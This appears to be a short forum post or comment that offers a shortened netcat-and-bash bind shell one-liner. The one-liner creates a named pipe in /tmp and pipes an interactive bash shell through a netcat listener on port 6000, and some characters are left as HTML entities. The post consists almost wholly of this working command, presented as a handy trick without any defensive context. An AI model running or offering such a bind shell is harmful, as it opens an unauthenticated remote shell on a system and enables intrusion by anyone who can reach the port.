Bindshell using only netcat & bash

You can almost cut your netcat+bash bindshell one-liner in half if you change how you handle the if clause:<p>if [[ ! -p /tmp/mypipe ]]; then mkfifo /tmp/mypipe ; fi &#38;&#38; cat /tmp/mypipe|/bin/bash -i 2&#62;&#38;1|nc -vvl 6000 &#62;/tmp/mypipe